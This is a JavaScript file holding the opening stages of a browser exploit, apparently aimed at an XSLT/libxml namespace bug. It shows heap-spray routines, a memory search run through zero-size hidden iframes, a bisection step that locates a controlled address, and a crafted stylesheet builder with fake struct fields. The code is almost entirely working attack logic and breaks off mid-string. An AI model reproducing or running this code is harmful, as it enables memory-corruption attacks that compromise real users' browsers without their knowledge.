/** @define {boolean} */
var ENABLE_DEBUG = true;
var INVISIBLE = true;
// [ Logging and utility functions ] ---------------------------------------- //
var SEND_LOG = false;
var INFO = function(){};
// var ERR = function(){};
var send_info = function(){};
var send_error = function(){};
if (ENABLE_DEBUG === true) {
var send_info = function(string) {
var req = new XMLHttpRequest();
var formdata = new FormData();
formdata.append("logdata", string);
req.open("POST", "log/info", true);
req.send(formdata);
};
var send_error = function(string) {
var req = new XMLHttpRequest();
var formdata = new FormData();
formdata.append("logdata", string);
req.open("POST", "log/error", true);
req.send(formdata);
};
ERR = function(string) {
if (string === undefined) {
string = "Unspecified error";
}
restorebrowserstate();
console.log("EXPLOIT ERROR: " + string);
send_error(string);
alert("EXPLOIT ERROR: " + string);
throw new Error(string);
};
INFO = function(string) {
console.log(string);
if (SEND_LOG === true) {
send_info(string);
}
};
} else {
ERR = function() {
restorebrowserstate();
do_redirect();
};
}
function do_redirect() {
window.location.replace("about:blank");
throw Error();
}
function restorebrowserstate() {
// Attempt to leave the browser in a useable state (not always possible)
if (window['g_xsltobj'] !== undefined && window['g_xsltobj'].alive) {
window['g_xsltobj'].terminate();
}
}
function hex(x, pad) {
var s = x.toString(16);
if (pad === undefined) return s;
var pads = Array(pad+1).join("0");
var result = (pads+s).slice(-pads.length);
if (s.length > result.length) {
return s;
} else {
return result;
}
}
// [ Convenience spray page handling object ] ------------------------------- //
/**
* @constructor
*/
function Page(uint32array, base, index) {
// It would be cleaner to work on the underlying ArrayBuffer object
// but I've seen problems on some phones with this approach, so let's
// stick with 32-bit modifications.
if (index === undefined) {
index = 0;
}
this.array = uint32array;
this.base = base;
this.index = index;
this.size = this.array.length * 4;
}
Page.prototype.write = function (addr, content) {
var where = addr - (this.base + 0x8);
var what = content;
if ((where - this.base)/4 + this.index > this.array.length) {
throw new Error("Attempt to write beyond array boundaries");
}
if (typeof(what) == "number") {
this.array[where/4 + this.index] = what;
return;
}
// Raw byte array
var size = Math.floor((what.length + 3) / 4) * 4; // Align to 4 bytes
var buffer = new ArrayBuffer(size);
var uint8v = new Uint8Array(buffer);
var uint32v = new Uint32Array(buffer);
for (var i = 0; i < what.length; i++) {
uint8v[i] = what[i];
}
for (var i = 0; i < uint32v.length; i++) {
this.array[where/4 + this.index + i] = uint32v[i];
}
};
// Reads a dword.
Page.prototype.read = function (addr) {
var where = addr - (this.base + 0x8);
if ((where - this.base)/4 + this.index > this.array.length) {
throw new Error("Attempt to write beyond array boundaries");
}
return this.array[where/4 + this.index];
};
// Apply layout (note that this is *not* used when creating the first
// spray in order to make it a bit faster)
Page.prototype.apply_layout = function(layout) {
for (var k = 0; k < layout.length; k++) {
var el = layout[k];
this.write(el[0], el[1]);
}
};
Page.prototype.in_range = function(addr) {
var where = addr - (this.base + 0x8);
if ((where - this.base)/4 + this.index > this.array.length) {
return false;
}
return true;
};
// [ String utility functions ] --------------------------------------------- //
// Converts an ASCII string to an integer array which contains each char's byte
// value and null-terminates it (with a 0x00 element)
// if nullterm is false, the string is not null terminated.
function stringtoarray(s, nullterm) {
if (nullterm === undefined) {
nullterm = true;
}
var res = [];
for (var i = 0; i < s.length; i++) {
res.push(s.charCodeAt(i));
}
if (nullterm === true) {
res.push(0x0);
}
return res;
}
// Converts an integer array to a javascript string. Array null-termination is ignored.
function arraytostring(arr) {
if (arr[arr.length] === 0) {
arr.splice(arr.length-1, 1);
}
return String.fromCharCode.apply(null, arr);
}
// [ Heap spray functions ] ------------------------------------------------- //
// Checks that no value has been defined twice
// For now it only works with 32bit values (no raw byte arrays supported)
function layout_check(base, layout) {
var mem = {};
for (var k = 0; k < layout.length; k++) {
var el = layout[k];
var where = el[0] - (base + 0x8);
var what = el[1];
if (where in mem) {
var adstring = "0x" + base.toString(16) + " + 0x" + where.toString(16);
ERR("layout_check ERROR: redefinition of memory address " + adstring + ". " +
"Previous definition was 0x" + mem[where].toString());
return false;
}
mem[where] = what;
}
return true;
}
var bigmem = [];
function apply_layout(base, page, index, layout) {
for (var k = 0; k < layout.length; k++) {
var el = layout[k];
var where = el[0] - (base + 0x8);
var what = el[1];
if (typeof(what) == "number") {
page[where/4 + index] = what;
continue;
}
// Raw byte array
var size = Math.floor((what.length + 3) / 4) * 4; // Align to 4 bytes
var buffer = new ArrayBuffer(size);
var uint8v = new Uint8Array(buffer);
var uint32v = new Uint32Array(buffer);
for (var i = 0; i < what.length; i++) {
uint8v[i] = what[i];
}
for (var i = 0; i < uint32v.length; i++) {
page[where/4 + index + i] = uint32v[i];
}
}
}
function map_pages(layout, num) {
var M1024 = 0xffff4;
var SIZE = M1024;
for (var i = 0; i < num; i++) {
var page;
try {
page = new Uint32Array(SIZE);
bigmem.push(page);
} catch (e) {
INFO("Can't map more pages (" + i + ")");
for (var j = i - 60; j < i; j++) {
// This way the gc might be triggered more easily
delete bigmem[j];
bigmem.splice(j, 1);
}
break;
}
apply_layout(0, page, 0, layout);
}
}
function search_pages(offset, comparevalue) {
for (var i = 0; i < bigmem.length; i++) {
var page = bigmem[i];
for (var j = 0; j < 1024; j++) {
var data = page[j*1024 + (offset - 0x8)/4];
if (data != comparevalue) {
return {data:data, index:i, displ:j};
}
}
}
return null;
}
// [ xml/xsl and text handling ] -------------------------------------------- //
function parseXML(string) {
var parser = new DOMParser();
var xml = parser.parseFromString(string, "text/xml");
// TODO error checking
return xml;
}
function loadXML(filename) {
var req = new XMLHttpRequest();
req.open("GET", filename, false);
req.send();
// TODO error checking
return req.responseXML;
}
function loadtext(filename) {
var req = new XMLHttpRequest();
req.open("GET", filename, false);
req.send();
// TODO error checking
return req.responseText;
}
// [ Entry point ] ---------------------------------------------------------- //
function start(){
// if (!window.confirm("Start?")) return;
stage0();
}
window["start"] = start;
var trk = 0;
function redirmessage() {
window.setTimeout(function() {
var p = document.createElement("p");
p.innerHTML = "Redirecting...";
document.body.appendChild(p);
}, 2500);
}
// [ Stage 0 ] -------------------------------------------------------------- //
// Stage 0 sets up the memory so that there are 0x1000 bytes at a controlled
// address. The process is stabilized and the address is verified.
function stage0() {
redirmessage();
var layout = transformlayout(0x0);
map_pages(layout, 330);
INFO("pages mapped.");
find_spray_addr(0x7a703030, 0x79303030, -0x10000);
return;
}
// These functions spray the memory, examine the address space and find
// A controlled address where to write exploit data.
function stage0_done(n, addr) {
INFO("Found address " + hex(addr) + " @ page " + n);
// Compute base
var base = (addr & 0xffffff00)>>>0;
stage1(base, n);
return;
}
function stage0_fail(addr) {
ERR("The spray could not be found in memory ( reached " + hex(addr) + ")");
}
function transformlayout(base) {
// String: "http://www.w3.org/1999/XSL/Transform"
// [0x70747468, 0x772f2f3a, 0x772e7777, 0x726f2e33,
// 0x39312f67, 0x582f3939, 0x542f4c53, 0x736e6172,
// 0x6d726f66]
var layout = [];
for (var i = 0; i < 16 * 4; i++) {
layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x30, 0x70747468]);
layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x34, 0x772f2f3a]);
layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x38, 0x772e7777]);
layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x3c, 0x726f2e33]);
layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x40, 0x39312f67]);
layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x44, 0x582f3939]);
layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x48, 0x542f4c53]);
layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x4c, 0x736e6172]);
layout.push([base + i * 0x10000 + (i%16) * 0x1000 + 0x50, 0x6d726f66]);
}
return layout;
}
// find_spray_addr performs a search for the XSLT string at address addr.
// If it is not found, it keeps incrementing/decrementing the address
// by the value increment until either the string is found or the address
// stop is hit. Addresses which are not valid XML strings are skipped.
function find_spray_addr(addr, stop, increment) {
if ((increment >= 0) && (addr > stop)) {
stage0_fail(addr);
return;
}
if ((increment <= 0) && (addr < stop)) {
stage0_fail(addr);
return;
}
while (((addr & 0xff00) == 0x3c00) || ((addr & 0xff00) == 0x3e00) ||
((addr & 0xff0000) == 0x3c0000) || (addr & 0xff0000) == 0x3e0000) {
addr = addr + increment;
}
if ((addr & 0x00ff00)>>>0 < 0x002000) {
if (increment > 0) {
addr = ((addr & 0xffff00ff)>>>0) ^ 0x002000;
} else {
addr = ((addr - 0x010000) & 0xffff00ff)>>>0 ^ 0x00007000;
}
}
if ((addr & 0x00ff00) > 0x007a00) {
if (increment > 0) {
addr = ((addr & 0xffff00ff)>>>0 + 0x10000) ^ 0x002000;
} else {
addr = (addr & 0xffff00ff)>>>0 ^ 0x007000;
}
}
if ((addr & 0x00ff0000)>>>0 < 0x00200000) {
if (increment > 0) {
addr = (addr & 0xff00ffff)>>>0 ^ 0x00200000;
} else {
addr = ((addr - 0x01000000) & 0xff00ffff)>>>0 ^ 0x007a0000;
}
}
if ((addr & 0x00ff0000) > 0x007a0000) {
if (increment > 0) {
addr = ((addr & 0xff00ffff)>>>0 + 0x1000000) ^ 0x00200000;
} else {
addr = (addr & 0xff00ffff)>>>0 ^ 0x007a0000;
}
}
var sheetblob = createsheetblob(addr);
var docblob = createdocblob(sheetblob.url);
var iframe = document.createElement("iframe");
if (INVISIBLE === true) {
iframe.style.height = 0;
iframe.style.width = 0;
iframe.style.border = "none";
}
var iframesrc = docblob.url;
iframe.src = iframesrc;
iframe.onload = function (e) {
var url = e.currentTarget.contentWindow.location.href;
// var frameaddr = parseInt(url.substring(url.indexOf(prefix) + prefix.length));
if (url != iframesrc) {
ERR("PHANTOM BUG: expecting " + iframesrc + ", got " + url);
}
// INFO("find_spray_addr iframe load " + frameaddr);
var htmlelem = e.currentTarget.contentWindow.document.documentElement;
if (htmlelem === null || htmlelem.textContent.indexOf("error") != -1) {
start_bisect(addr);
return;
} else {
find_spray_addr(addr + increment, stop, increment);
return;
}
};
document.body.appendChild(iframe);
return;
}
function start_bisect(addr) {
INFO("starting bisect @ " + hex(addr));
bisect(0, bigmem.length-1, addr);
}
function bisect_clear(a, b) {
for (var j = a; j <= b; j++) {
for (var i = 0; i < 16 * 4; i++) {
var index = (i * 0x10000 + (i%16) * 0x1000 + 0x30 - 0x8) / 4;
bigmem[j][index] = 0;
}
}
}
function bisect_putback(a, b) {
for (var j = a; j <= b; j++) {
for (var i = 0; i < 16 * 4; i++) {
var index = (i * 0x10000 + (i%16) * 0x1000 + 0x30 - 0x8) / 4;
bigmem[j][index] = 0x70747468;
}
}
}
function bisect(a, b, addr) {
if (a == b) {
stage0_done(a, addr);
return;
}
var n = b - a + 1;
var mid = a + (Math.floor(n/2));
bisect_clear(a, mid-1);
var bisect_firsthalf = function() {
bisect_putback(a, mid-1);
bisect(a, mid-1, addr);
};
var bisect_secondhalf = function() {
bisect_putback(mid, b);
bisect(mid, b, addr);
};
bisect_check(bisect_firsthalf, bisect_secondhalf, addr);
return;
}
function bisect_check(bisect_firsthalf, bisect_secondhalf, addr) {
// INFO("bisect_check " + addr);
var iframe = document.createElement("iframe");
var sheetblob = createsheetblob(addr);
var docblob = createdocblob(sheetblob.url);
// var prefix = "ad.xml?contentId=";
var iframesrc = docblob.url;
if (INVISIBLE === true) {
iframe.style.height = 0;
iframe.style.width = 0;
iframe.style.border = "none";
}
iframe.src = iframesrc;
iframe.onload = function (e) {
var url = e.currentTarget.contentWindow.location.href;
if (url != iframesrc) {
ERR("PHANTOM BUG: expecting " + iframesrc + ", got " + url);
}
var htmlelem = e.currentTarget.contentWindow.document.documentElement;
if (htmlelem === null || htmlelem.textContent.indexOf("error") != -1) {
bisect_secondhalf();
return;
} else {
bisect_firsthalf();
return;
}
};
// alert("ready to insert iframe");
document.body.appendChild(iframe);
return;
}
function toascii(addr) {
var arr = [(addr >> 0) & 0xff,
(addr >> 8) & 0xff,
(addr >> 16) & 0xff,
(addr >> 24) & 0xff];
return arraytostring(arr);
}
function createdocblob(sheeturl) {
var doc = '';
return createblob(doc, "application/xml");
}
function createsheetblob(addr) {
var doc = "";
doc += "";
doc += 'XX';
doc += toascii(addr); // ns->href
doc += toascii(addr); // ns->prefix
doc += 'XXXX' // ns->_private
doc += 'XXXX' // ns->context
doc += '